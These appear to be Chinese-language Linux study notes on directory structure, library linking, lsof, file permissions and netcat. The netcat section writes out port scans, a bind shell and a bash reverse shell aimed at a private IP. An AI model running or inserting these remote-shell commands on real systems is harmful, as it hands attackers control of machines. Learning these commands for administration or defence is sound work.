Linux目录
bin
lib->usr/lib
lib64 ->usr/lib64
这三个大部分都放着一些我们的二进制文件
bin 是 Binaries (二进制文件) 的缩写, 这个目录存放着最经常使用的命令。
boot
放一些内核升级的操作
内核升级用到
这里存放的是启动 Linux 时使用的一些核心文件,包括一些连接文件以及镜像文件。
dev
里面放了一些什么设备什么之类的
dev 是 Device(设备) 的缩写, 该目录下存放的是 Linux 的外部设备,在 Linux 中访问设备的方式和访问文件的方式是相同的。
etc
配置文件 很重要
etc 是 Etcetera(等等) 的缩写,这个目录用来存放所有的系统管理所需要的配置文件和子目录。
home
用户的主目录,在 Linux 中,每个用户都有一个自己的目录,一般该目录名是以用户的账号命名的,如上图中的 alice、bob 和 eve。
lib->usr/lib
lib 是 Library(库) 的缩写这个目录里存放着系统最基本的动态连接共享库,其作用类似于 Windows 里的 DLL 文件。几乎所有的应用程序都需要用到这些共享库。
lib64 ->usr/lib64
media
linux 系统会自动识别一些设备,例如U盘、光驱等等,当识别后,Linux 会把识别的设备挂载到这个目录下。
mnt
挂载
系统提供该目录是为了让用户临时挂载别的文件系统的,我们可以将光驱挂载在 /mnt/ 上,然后进入该目录就可以查看光驱里的内容了。
opt
大部分放我们自定义的一些配置文件
opt 是 optional(可选) 的缩写,这是给主机额外安装软件所摆放的目录。比如你安装一个ORACLE数据库则就可以放到这个目录下。默认是空的。
proc
最重要的
proc 是 Processes(进程) 的缩写,/proc 是一种伪文件系统(也即虚拟文件系统),存储的是当前内核运行状态的一系列特殊文件,这个目录是一个虚拟的目录,它是系统内存的映射,我们可以通过直接访问这个目录来获取系统信息。 这个目录的内容不在硬盘上而是在内存里,我们也可以直接修改里面的某些文件,比如可以通过下面的命令来屏蔽主机的ping命令,使别人无法ping你的机器:
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_allroot
家目录
该目录为系统管理员,也称作超级权限者的用户主目录
run
selinux
这个目录是 Redhat/CentOS 所特有的目录,Selinux 是一个安全机制,类似于 windows 的防火墙,但是这套机制比较复杂,这个目录就是存放selinux相关的文件的。
sbin ->usr/sbin
这个也是二进制文件 比较主要
s 就是 Super User 的意思,是 Superuser Binaries (超级用户的二进制文件) 的缩写,这里存放的是系统管理员使用的系统管理程序。
srv
该目录存放一些服务启动之后需要提取的数据。
swapfile
sys
这是 Linux2.6 内核的一个很大的变化。该目录下安装了 2.6 内核中新出现的一个文件系统 sysfs 。
sysfs 文件系统集成了下面3种文件系统的信息:针对进程信息的 proc 文件系统、针对设备的 devfs 文件系统以及针对伪终端的 devpts 文件系统。
该文件系统是内核设备树的一个直观反映。
当一个内核对象被创建的时候,对应的文件和目录也在内核对象子系统中被创建。
tmp
临时文件
tmp 是 temporary(临时) 的缩写这个目录是用来存放一些临时文件的。
usr usr ->usr/bin
软连接,实际上最终也是usr /bin
var
下面重点放我们的一些日志信息 不太重要
usr 是 unix shared resources(共享资源) 的缩写,这是一个非常重要的目录,用户的很多应用程序和文件都放在这个目录下,类似于 windows 下的 program files 目录。
usr/bin
系统用户使用的应用程序。
usr/sbin
超级用户使用的比较高级的管理程序和系统守护程序。
usr/src
内核源代码默认的放置目录。
var
var 是 variable(变量) 的缩写,这个目录中存放着在不断扩充着的东西,我们习惯将那些经常被修改的目录放在这个目录下。包括各种日志文件。
run
是一个临时文件系统,存储系统启动以来的信息。当系统重启时,这个目录下的文件应该被删掉或清除。如果你的系统上有 /var/run 目录,应该让它指向 run。
Linux动态库路径
#
Linux是一种非常受欢迎的操作系统,动态库路径也是Linux系统中重要的部分。本文将介绍Linux动态库路径的相关内容,对Linux系统环境的相关操作感兴趣的同学,去理解Linux动态库路径的有用信息也是重要的内容,希望本文内容可以给大家带来一些帮助。
首先,动态库路径是什么?动态库路径(Dynamic Library Path)指的是使程序能正确调用应用程序所需要的外部函数库时,操作系统需要找到的路径。
Linux操作系统中,动态库路径可以通过两种方式设置:第一种是设定环境变量,也就是通过在环境变量中定义我们的路径的方式指定动态库的搜索路径;第二种是编译时指定,也就是编辑程序的时候在源文件中指定其动态库的搜索路径。
在环境变量的设置方式中,可以通过以下方式进行设置:
export LD_LIBRARY_PATH="你自定义的搜索路径:$LD_LIBRARY_PATH"
上述LD_LIBRARY_PATH为动态库搜索路径,其路径有$LD_LIBRARY_PATH和自定义路径两部分组成,$LD_LIBRARY_PATH环境变量由系统预定义,而自定义路径则是由用户自定义所指定(要求必须以冒号分隔)。
在编译时指定的设置方式中,可以通过以下方式进行指定:
-Wl,-rpath=你自定义的搜索路径
上述的-Wl,-rpath参数则用来指定相关的动态库搜索路径。
上述就是Linux动态库路径的相关介绍,经过上述介绍的内容,相信各位同学学习了动态库的路径的设置有所帮助,并且能够正确操作Linux系统环境。
NC命令
#
nc是网络工具中的瑞士军刀
补充说明
nc命令 全称netcat,用于TCP、UDP或unix域套接字(uds)的数据流操作,它可以打开TCP连接,发送UDP数据包,监听任意TCP 和UDP端口,同时也可用作做端口扫描,支持IPv4和IPv6,与Telnet的不同在于nc可以编写脚本。
语法
nc [-hlnruz][-g<网关...>][-G<指向器数目>][-i<延迟秒数>][-o<输出文件>][-p<通信端口>] [-s<来源位址>][-v...][-w<超时秒数>][主机名称][通信端口...]
选项
-4 只使用IPV4 -6 只使用IPV6 -c 使用tls连接或者监听 -D 启用socket调试开关 -g <网关> # 设置路由器跃程通信网关,最多可设置8个。 -G<指向器数目> # 设置来源路由指向器,其数值为4的倍数。 -h 在线帮助。 -i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。 -l 使用监听模式,管控传入的资料。 -n 直接使用IP地址,而不通过域名服务器。 -o<输出文件> # 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。 -p<通信端口> # 设置本地主机使用的通信端口。 -r 乱数指定本地与远端主机的通信端口。 -s<来源位址> # 设置本地主机送出数据包的IP地址。 -u 使用UDP传输协议。 -v 显示指令执行过程。 -w<超时秒数> # 设置等待连线的时间。 -z 使用0输入/输出模式,只在扫描通信端口时使用。
实例
TCP端口扫描
[root@localhost ~]# nc -v -z -w2 192.168.0.3 1-100
192.168.0.3: inverse host lookup failed: Unknown host
(UNKNOWN) [192.168.0.3] 80 (http) open
(UNKNOWN) [192.168.0.3] 23 (telnet) open
(UNKNOWN) [192.168.0.3] 22 (ssh) open
扫描192.168.0.3 的端口 范围是 1-100 扫描UDP端口
[root@localhost ~]# nc -u -z -w2 192.168.0.3 1-1000 # 扫描192.168.0.3 的端口 范围是 1-1000
扫描指定端口
[root@localhost ~]# nc -nvv 192.168.0.1 80 # 扫描 80端口
(UNKNOWN) [192.168.0.1] 80 (?) open
y //用户输入
查看从服务器到目的地的出站端口 443 是否被防火墙阻止
nc -vz acme-v02.api.letsencrypt.org 443 -w2
# Ncat: Version 7.50 ( https://nmap.org/ncat )
# Ncat: Connected to 23.77.214.183:443.
# Ncat: 0 bytes sent, 0 bytes received in 0.07 seconds.
文件传输
# 接收方提前设置监听端口与要接收的文件名(文件名可自定义): nc -lp 8888 > node.tar.gz # 传输方发文件: nc -nv 192.168.75.121 8888 < node_exporter-1.3.1.linux-amd64.tar.gz # ⚠️ 注意:192.168.75.121是接收方的ip地址。 # 如果希望文件传输结束后自动退出,可以使用下面的命令: nc -lp 8888 > node.tar.gz nc -nv 192.168.75.121 8888 -i 1 < node_exporter-1.3.1.linux-amd64.tar.gz # ⚠️ 注意:-i 表示闲置超时时间
远程控制
# 正向控制,被控端主动设置监听端口及bash环境,控制端连接,如果有防火墙,需开放端口,否则会被拦截。 # 被控制端执行下面的命令: nc -lvnp 8888 -c bash # 控制端执行下面的命令: nc 192.168.75.121 8888 # 反向控制,控制端设置监听端口,被控端主动连接控制端的ip及端口,并提供bash环境。 # 控制端执行下面的命令: nc -lvnp 8888 # 被控制端执行下面的命令: nc 192.168.75.121 8888 -c bash
反弹shell
# 控制端执行下面的命令: nc -lvnp 8888 # 被控端执行下面的命令: bash -i &> /dev/tcp/192.168.75.121/8888 0>&1
LSOF命令
lsof
(list open files)是一个列出打开文件的工具。众所周知,在linux系统中,一切皆是文件,通过文件不仅可以访问常规数据,还可以访问网络连接和硬件。所以通过lsof
命令,不仅可以查看打开的文件、目录信息,还可以查看网络相关的信息、管道等等。下面就来介绍一下lsof
命令的用法。
lsof
可以查看打开的文件有:
普通文件
目录
网络文件系统的文件
字符或设备文件
(函数) 共享库
管道、命名管道
符号链接
网络相关文件(底层的socket字流,网络socket,unix域名socket)
其它类型的文件等等
lsof命令语法
语法格式
lsof [选项]
常用选项如下:
-a:使用 AND 逻辑,合并选项的输出内容
-c <进程名>:列出名称以指定名称开头的进程打开的文件
-d <文件描述符>:列出打开指定文件描述的进程
+d <目录>:列出指定目录下被打开的文件
+D <目录>:递归列出目录下被打开的文件
-u <用户名>:列出指定用户打开的文件
-p <进程号>:列出指定进程号打开的文件
-i <条件>:列出符合条件的与网络相关的文件(:端口、 @ip等)
输出内容详解:
执行lsof
输出如下:
COMMAND PID TID USER FD TYPE DEVICE SIZE/OFF NODE NAME systemd 1 root cwd DIR 8,1 4096 2 / systemd 1 root rtd DIR 8,1 4096 2 / systemd 1 root txt REG 8,1 1632744 790864 /usr/lib/systemd/systemd systemd 1 root mem REG 8,1 20064 787793 /usr/lib64/libuuid.so.1.3.0 systemd 1 root mem REG 8,1 265576 789229 /usr/lib64/libblkid.so.1.1.0 systemd 1 root mem REG 8,1 90176 787777 /usr/lib64/libz.so.1.2.7 systemd 1 root mem REG 8,1 157424 787790 /usr/lib64/liblzma.so.5.2.2 systemd 1 root mem REG 8,1 23968 788002 /usr/lib64/libcap-ng.so.0.0.0 systemd 1 root mem REG 8,1 19896 788009 /usr/lib64/libattr.so.1.1.0 systemd 1 root mem REG 8,1 19248 787615 /usr/lib64/libdl-2.17.so systemd 1 root mem REG 8,1 402384 787766 /usr/lib64/libpcre.so.1.2.0 systemd 1 root mem REG 8,1 2156352 787585 /usr/lib64/libc-2.17.so systemd 1 root mem REG 8,1 142144 787611 /usr/lib64/libpthread-2.17.so systemd 1 root mem REG 8,1 88720 793180 /usr/lib64/libgcc_s-4.8.5-20150702.so.1 ··· ···
COMMAND:进程的名称
PID:进程标识符
TID:线程标识符
USER:进程所有者
FD:文件描述符,应用程序通过文件描述符识别该文件。
TYPE:文件类型,常见的文件类型有以下几种:
DIR:表示目录
CHR:表示字符类型
BLK:块设备类型
UNIX:UNIX 域套接字
FIFO:先进先出(FIFO)队列
IPv4:网际协议(IP)套接字
DEVICE:指定磁盘的名称
SIZE/OFF:文件的大小
NODE:索引节点(文件在磁盘上的标识)
NAME:打开文件的确切名称
常用操作
命令
lsof test.txt
:显示使用test.txt
文件的进程命令
lsof -i:80
:列出80端口目前打开的文件列表命令
lsof -i
:列出所有的网络连接命令
lsof -i tcp
:列出所有的 TCP 网络连接信息命令
lsof -i udp
:列出所有的 UDP 网络连接信息命令
lsof -i tcp:8080
:列出8080端口 TCP 协议的所有连接信息命令
lsof -i udp:8080
:列出8080端口 UDP 协议的所有连接信息命令
lsof -c docker
:列出以docker开头的进程打开的文件列表命令
lsof -p 3669
:列出指定进程打开的文件列表命令
lsof -u root
:列出指定用户打开的文件列表命令
lsof -u root -i tcp
:列出指定用户打开的文件列表信息和所有的 TCP 网络连接信息命令
lsof -a -u root -i tcp
:列出指定用户打开的文件列表信息,同时是 TCP 网络连接信息命令:
lsof +d /usr/local/
说明:列出指定目录下被进程打开的文件列表
动静态数据库
什么是库?
库是写好的现有的,成熟的,可以复用的代码。现实中每个程序都要依赖很多基础的底层库,不可能每个人的代码都从零开始,因此库的存在意义非同寻常。
本质上来说库是一种可执行代码的二进制形式,可以被操作系统载入内存执行。库有两种:静态库(**.a、.lib)和动态库(.so、.dll)。 windows上对应的是.lib .dll linux上对应的是.a .so**
在这里先介绍下Linux下的gcc编译的几个选项
g++ -c hellospeak.cpp
会将hellospeak.cpp 选项 -c 用来告诉编译器编译源代码但不要执行链接,输出结果为对象文件。文件默认名与源码文件名相同,只是将其后缀变为 .o。例如,上面的命令将编译源码文件hellospeak.cpp 并生成对象文件 hellospeak.o;
下面这条命令将上述两个源码文件编译链接成一个单一的可执行程序:
$ g++ hellospeak.cpp speak.cpp -o hellospeak
如果没有-o和后面的参数,编译器采用默认的 a.out
本例中就会生成hellospeak 这样的可执行程序
所谓静态、动态是指链接。回顾一下,将一个程序编译成可执行程序的步骤:
图:编译过程
静态库
之所以成为【静态库】,是因为在链接阶段,会将汇编生成的目标文件**.o与引用到的库一起链接打包到可执行文件中。因此对应的链接方式称为静态链接。**
试想一下,静态库与汇编生成的目标文件一起链接为可执行文件,那么静态库必定跟**.o文件格式相似。其实一个静态库可以简单看成是一组目标文件(.o/.obj文件)的集合**,即很多目标文件经过压缩打包后形成的一个文件。
静态库特点总结:
l 静态库对函数库的链接是放在编译时期完成的。
l 程序在运行时与函数库再无瓜葛,移植方便。
l 浪费空间和资源,因为所有相关的目标文件与牵涉到的函数库被链接合成一个可执行文件。
Linux下创建与使用静态库
Linux静态库命名规则
Linux静态库命名规范,必须是"lib[your_library_name].a":lib为前缀,中间是静态库名,扩展名为.a。
创建静态库(.a)
通过上面的流程可以知道,Linux创建静态库过程如下:
l 首先,将代码文件编译成目标文件.o(StaticMath.o)
g++ -c StaticMath.cpp
注意带参数-c,否则直接编译为可执行文件
l 然后,通过ar工具将目标文件打包成.a静态库文件
ar -crv libstaticmath.a StaticMath.o
生成静态库libstaticmath***.a***。
动态库
通过上面的介绍发现静态库,容易使用和理解,也达到了代码复用的目的,那为什么还需要动态库呢?
为什么还需要动态库?
为什么需要动态库,其实也是静态库的特点导致。
l 空间浪费是静态库的一个问题。
另一个问题是静态库对程序的更新、部署和发布页会带来麻烦。如果静态库liba.lib更新了,所以使用它的应用程序都需要重新编译、发布给用户(对于玩家来说,可能是一个很小的改动,却导致整个程序重新下载,全量更新)。
动态库在程序编译时并不会被连接到目标代码中,而是在程序运行是才被载入。不同的应用程序如果调用相同的库,那么在内存里只需要有一份该共享库的实例,规避了空间浪费问题。动态库在程序运行是才被载入,也解决了静态库对程序的更新、部署和发布页会带来麻烦。用户只需要更新动态库即可,增量更新。
动态库特点总结:
l 动态库把对一些库函数的链接载入推迟到程序运行的时期。
l 可以实现进程之间的资源共享。(因此动态库也称为共享库)
l 将一些程序升级变得简单。
l 甚至可以真正做到链接载入完全由程序员在程序代码中控制(显示调用)。
Window与Linux执行文件格式不同,在创建动态库的时候有一些差异。
l 在Windows系统下的执行文件格式是PE格式,动态库需要一个DllMain**函数做出初始化的入口,通常在导出函数的声明时需要有_declspec(dllexport)关键字**。
l Linux下gcc编译的执行文件默认是ELF格式,不需要初始化入口,亦不需要函数做特别的声明,编写比较方便。
与创建静态库不同的是,不需要打包工具(ar、lib.exe),直接使用编译器即可创建动态库。
木马和后门
木马与后门的区别?后门具体是什么意思啊?
所谓“后门”,就是程序开发人员为了改进自己设计的程序而打开的专用接口(通道),方便自己修改程序,一般具有最高权限。木马是指利用后门或漏洞被发现非法入侵用户电脑,从事侵害用户利益的活动,不一定具有最高权限。至于遥控,这是一个更宽泛的概念。木马是一种远程控制,但远程控制不仅包括木马,还包括对木马的远程管理和维护,以便正确使用。因此,远程控制技术是一把双刃剑。。
木马和后门的区别是什么?
后门当一个训练有素的程序员设计一个功能复杂的软件时,他习惯于先将整个软件分成几个模块,然后分别设计和调试每个模块。后门是模块的秘密入口。在程序开发过程中,存在后门以便于测试、更改和增强模块的功能。当然,程序员通常不会在软件文档中记录后门,因此用户通常无法理解后门的存在。按照正常的操作程序,在软件交付给用户之前,程序员应该移除软件模块中的后门。但由于程序员的疏忽,或故意将其留在程序中,使程序日后能被秘密访问,便于测试或维护已完成的程序等原因,一直未被删除。这样,后门就可能被程序的作者秘密使用,或者被一些别有用心的人使用穷尽搜索的方法。有后门特洛伊木马。后门木马的主要功能是打开电脑关闭的端口,然后使用客户端木马程序控制电脑。其实,只要电脑上植入木马,就会分为两个程序,一个是受控端,另一个是客户端,这两个程序植入你的机器上如果客户端不运行,木马程序在受控端就会打开电脑的一个端口。黑客将使用此端口来管理和控制您的计算机。因此,了解特洛伊木马是每一个计算机爱好者应该使用的知识。一个更好更有效的方法可以防止木马黑客的入侵只是不要让电脑打开太多的端口
后门木马只是一个高度隐藏的木马。就像灰鸽子。后门木马是原作者编写的一种设置后门程序的木马。例如,按shift 6次可弹出权限设置。
Linux文件权限
我们在使用 Linux 的过程中,或多或少都会遇到一些关于使用者和群组的问题,比如最常见的你想要在某个路径下执行某个指令,会经常出现这个错误提示 。
permission denied
反正我大概率见到这个错误都是在使用 FTP 传输文件的时候,等了半天传输百分比还是零,我说网络这么慢么?怎么都不传输呢?其实我不知道,这是由于权限问题所致。
我一般的修复方式是直接赋予 777 权限,或者直接使用 su 管理员登录。。。。。。
大家可能不太知道我说的是什么,也有一些大佬可能觉得我这种方式太 low 了,不管怎样,遇到这种问题就是说你的权限不够,为什么呢?下面我们就需要来认识一下 Linux 中的使用者和群组了。
使用者和群组
在 Linux 中,关于文件所有者分为三类,即文件所有者、群组和其他人所属,这里分别解释以下这三个概念
文件所有者
Linux 是一个多用户多任务系统,多用户就意味着有些用户创建的文件是否对其他用户可见,这是一种可见性问题,同时也是一种隐私性问题,为了考虑到每个人的隐私权,Linux 设计了文件所有者的角色。如果你有一些资料和文件的隐私性比较高,你就可以把文件设置成 "只有我自己可见" ,这就是文件所有者的作用。
群组
群组的这个概念用在团队开发中,用处比较多的就是为项目设置权限,比如你就职于一个银行的外包部门,你和其他外包部门共同为某个银行服务,所有的外包团体都使用一台服务器,这就会涉及到群组权限的问题,你们外包部门开发的项目不想让其他外包部门所看到,就会把该项目设置成群组可见。但是银行是总负责人,所有银行具有查看你们所有外包部门项目的权限,因此,你还需要设置银行的权限。
其他人所属
其他人和群组是相对的,其他人在群组之外,没有权限查看群组内文件的一种权限关系。
除了上面三个概念之外,还有一个权限级别最高的大佬,它就是 root,这个 root 权限是最高的。
Linux 文件权限
在聊完上面使用者和群组的概念之后,接下来我们就来谈一下文件权限要如何设置的问题,这块内容是很重要的,因为这部分内容是很好解决 permission denied 问题的关键。
权限属性
首先登录 Linux 系统,使用 su - 可以切换成为 root 身份,然后执行 ls -al 会看到下面这些
一
共有七列内容,这七列内容如下图所示。
学习的时候可以直接使用 root ,因为后续的 chgrp,chown 等指令都需要 root 来处理,但是工作中强烈建议不要使用 root 权限。
使用 exit 可以退出 root 身份。
上面这段指令中,ls 是 list 的意思,也就是列出,而选项 -al 则表示文件详细权限和属性。
权限,第一列表示的是权限,权限一共通过 10 个字符来表示,我们拿 home 权限为例,来列举各个字符表示的含义
第一个字符表示的是文件类型,文件类型有很多种,一般 [d] 表示的是目录,能用cd命令进入到这个目录中。可以看到图中几乎所有都是目录。
如果是 [-] 则表示文件,如果是 [l] 则表示链接文件,如果是 [b] 则表示设备文件中的可随机存取设备,如果是 [c] 则表示为设备文件中的一次性读取设备(键盘、鼠标)。
接下来的九个字符分为三组,三个一组,分别表示所属人、所属群组、其他所有者权限,每组内的权限都是三个 rwx 的组合, [r] 表示可读, [w] 表示可写, [x] 表示可执行,这里需要注意的是,如果没有权限,就会变为 -号。
链接,这一列表示有多少文件名链接到这个节点(i-node)上,每个文件都会将它的权限和属性记录到文件系统的 i-node 上,不过,我们使用的目录树却是使用文件名来记录的,因此每个文件名都会关联到一个 i-node ,所以这个属性就是记录有多少文件链接到了同一个 i-node 上。
什么是 i-node ?
i-node 的描述方式很像是我们之前聊过的 Socket,Socket 就是一个四元组,有时会加上协议类型变为五元组,如果你不太清楚我说的是什么,可以看下我的这篇文章 原来这才是 Socket!
我们知道,磁盘的最小存储单位是扇区,操作系统在读取扇区时,不会一个扇区接着一个扇区这样读取,因为效率太低,而是以块为单位进行读取,块是由多个扇区组成的。
文件中的数据都存储在扇区中,但是我们并不知道哪一块数据是我们需要的,为了存储一些文件的元信息,比如文件的创建者,创建日期,文件的大小,开发人员提出了 i-node ,也就是索引节点。一般来说,i-node 具有如下内容
具体关于 i-node 的内容,我们后面还会再说
。
然后第三列表示这个文件的所属人,由图可见,大部分文件的所属人都是 root 用户。
第四列表示这个文件的所属群组,在 Linux 系统下,你登录的账号会添加到一个或者多个所有人群组中,这一栏就表示对应的群组权限。
第五列表示文件大小,默认单位为字节(Bytes)。
第六列为创建这个文件的日期和最近修改日期,从图中可以看到,这个日期格式有可能不是我们想要的,如果要显示完整的日期格式,可以使用 ls -l --full-time,包括年、月、日、时间。
如果想要让系统默认的语系变为英文的话,那么你可以修改系统配置文件 /etc/locale.conf,首先我们可以查看一下系统都支持哪些语言。
修改默认语言,输入
vi /etc/profile
在文档的最后输入
export LANG="en_US.UTF-8"
就可以切换成为英文,如果想使用中文,可以输入
export LANG="zh_CN.GB18030"
然后使用 esc + :wq 保存,保存之后使用
source /etc/profile
即可完成设置。
-
第七列为文件名,有一类特殊的文件名,它表示着隐藏文件,如果文件名之前多一个 . ,那就表示隐藏文件。
权限的重要性
提供系统保护:非权限用户不能操作具有某些权限的功能和数据。
适合团队开发和数据共享:团队所有组成员和个人所属能够共享项目。
如果没有恰当的设置系统权限,可能会造成某些泄密事件或者其他不可忽视的后果,所以权限问题大家要引起重视,下面我们就来聊一聊如何设置系统权限。
改变系统权限和属性
我们现在知道文件权限对于一个系统安全的重要性了,现在就要聊一聊如何修改文件权限了。常用的修改文件权限的指令有
chgrp :改变文件所属群组
chown:改变文件所有者
chmod:改变文件权限
chgrp
chgrp 就是 change group 的缩写,我觉得李纳斯把缩写用到了极致,这也许是我们现在对于缩写这么流行的原因。chgrp 能够改变文件群组,不过,要改变群组的话,要被改变的群组名称要在 /etc/group 文件内存在才行,否则就会显示错误。
chown
既然 chgrp 能够改变文件群组,那么 chown 能够改变文件所有者,同样也需要注意的是,文件所有者必须是系统中存在的账号,也就是在 /etc/passwd 这个文件中有记录的使用者名称才可改变。除此之外,chown 还可以直接修改群组名称。
chmod
变更文件权限使用的是 chmod 这个指令,但是,权限的设置有两种方式,可以分别使用数字或者符号进行权限变更。
-
使用数字改变文件权限
Linux 文件基本权限有 9 种,分别是 owner/group/others 三种身份加自己的 read/write/execute 权限,这九个权限三个为一组,我们可以使用数字表示各个权限。
一般 r 表示 4;w 表示 2;x 表示 1,每种身份各自的权限是需要累加的,比如 rwx 就表示 4 + 2 + 1 = 7。比如我们最常见的 chmod 777 它就表示赋予所有的权限,也就是说谁都能看/写/执行,所以这种文件也存在极大的安全问题。使用数字改变文件权限是我们最常用的一种方式。
-
使用符号改变文件权限
九种文件权限分别对应着:(1) user (2) group (3) others,所以我们可以借由 u,g,o 来代表三种身份的权限。除此之外,a 代表 all 即全部的身份。
比如我们想要给 -rwxr-xr-x 设置权限,那么我们所使用的命令应该是
chmod u=rwx,go=rx .filename
如果我们想要给所有人增加写入权限,就可以这么操作
chmod a+w .filename
如果我们想给所有人去掉写入权限,就可以这么写入指令
复制
chmod a-w .filename
我们上面列出了三种指令,分别是 =、+、- 号,= 号表示赋值指定权限,+ 号表示增加权限,- 号表示去掉某些权限,在 + 和 - 的状态下,只要没找到指令的项目,那么该权限不会发生变动。
Linux 目录和文件权限
我们上面聊的都是文件权限,文件是容纳数据的地方,这些文件包括一般文本文件、数据库文件、二进制文件等,权限对于文件的意义在于
r(read):可以读取文件的实际内容,比如读取文本文件的文字内容
w(write):可以新增、编辑或者修改文件中的内容(不包括删除文件)
x(execute):使文件具有被文件系统执行的权限。
Windows 下面判断文件是否能够执行的因素是看文件扩展名, 比如 .exe, .bat, .com 等等,但是在 Linux 中,判断文件是否具有可执行权限是直接判断文件有没有 x 这个权限,和文件名无关。
但是在 Linux 中,不只有文件具有权限,目录也有权限,文件是存放实际数据的地方,而目录是记录文件所在位置的清单,我们只有通过目录才能找到文件放在哪里!权限对于不同的目录,也代表着不同的概念。
r (read contents in directory):表示具有读取目录结构清单的权限,所以如果你具有读取一个目录的权限时,就代表你可以查询目录下的文件,所以你就可以使用 ls 将目录的内容显示出来。
w(modify contents of directory):写入权限表示你具有对文件目录和目录中的文件进行修改的操作,主要包括
删除已经存在的文件和目录。
创建新的文件和目录。
将已存在的文件或目录进行改名。
移动目录内文件、目录位置。
x(access directory):这执行权限有啥用?总不能目录也能够被执行吧?其实并不是这样,执行权限表示着你有没有权限进入到指定目录下,也就是 cd(change directory) 。
Linux 文件种类和扩展名
想必大家都听说过这样一句话:任何设备在 Linux 下都是文件,但是文件也分为多种,除了上面介绍过的一般文件(-) 和目录文件(d) 之外,还包括下面这些文件类型
常规文件(regular file):常规文件就是我们使用 ls -al 所显示出来的属性,也就是上面我们列出的第一个字符,
文件类型又可以分为
纯文本文件(ASCII),这是 Linux 系统中最多的一种文件类型,纯文本文件是我们能够直接看到的数据,你可以使用 cat 来直接看到这部分内容。比如我们最常用的设置 Linux 静态 ip 的文件 ens33 ,就可以使用 cat 命令来输出
cat ifcfg-ens33
二进制文件,在 Linux 中,查看二进制文件可以使用 xxd 或者 od 进行格式化输出
数据格式文件,数据文件直接使用 cat 读取会显示乱码,但是它能够通过 last 指令进行输出
目录,目录没什么好说的,就是表示一个文件清单,目录的表示就是 [d] ,也就是 directory。
链接文件(link),链接文件就是某些程序执行时需要和这些链接文件进行链接才能执行的一种文件类型。
设备与设备文件(device),Linux 下的设备分为两种,块设备和字符设备:
块设备是一个能存储固定大小块信息的设备,它支持以固定大小的块,扇区或群集读取和(可选)写入数据。每个块都有自己的物理地址。通常块的大小在 512 - 65536 之间。所有传输的信息都会以连续的块为单位。块设备的基本特征是每个块都较为对立,能够独立的进行读写。常见的块设备有 硬盘、蓝光光盘、USB 盘。
块设备一般位于 /dev/sda 下,它的第一个属性为 [b] 。
另一类 I/O 设备是字符设备。字符设备以字符为单位发送或接收一个字符流,而不考虑任何块结构。常见的字符设备有 打印机、网络设备、鼠标、以及大多数与磁盘不同的设备。
字符设备最大的特点就是一次性读取,不能够截断输出,举例来说,你不可能将鼠标一下跳到另外一个地方,而是采用平滑移动的方式才可以,字符设备的第一个属性是 [c] 。
数据接口文件(sockets):数据接口文件顾名思义就是利用 socket 承接网络数据的,它的属性是 [s] ,一般在 /run 或者 /tmp 这些目录中看到。
数据输送文件(FIFO,pipe):FIFO 也是一种特殊类型的文件,它的主要目的在于解决多个程序同时存取一个文件所造成的的错误问题,它的第一个属性为 [p] 。
Linux 扩展名
说到这个扩展名其实就很头疼,Linux 中是没有扩展名这个概念的,但是又有一些扩展名的命名方式,这就很尴尬,所以暂且成为扩展类型吧。一般有下面几种
*.sh ,这是一个执行脚本或者批处理脚本,一般也被称为 shell 脚本,里面是一些 shell 语法写的指令。
.tar,.tar.gz,.zip,*.tgz,这种扩展类型是打包的压缩文件,根据不同的打包方式有不同的扩展类型
.html ,.php :网页相关文件,分别代表 HTML 和 PHP 语法的网页文件。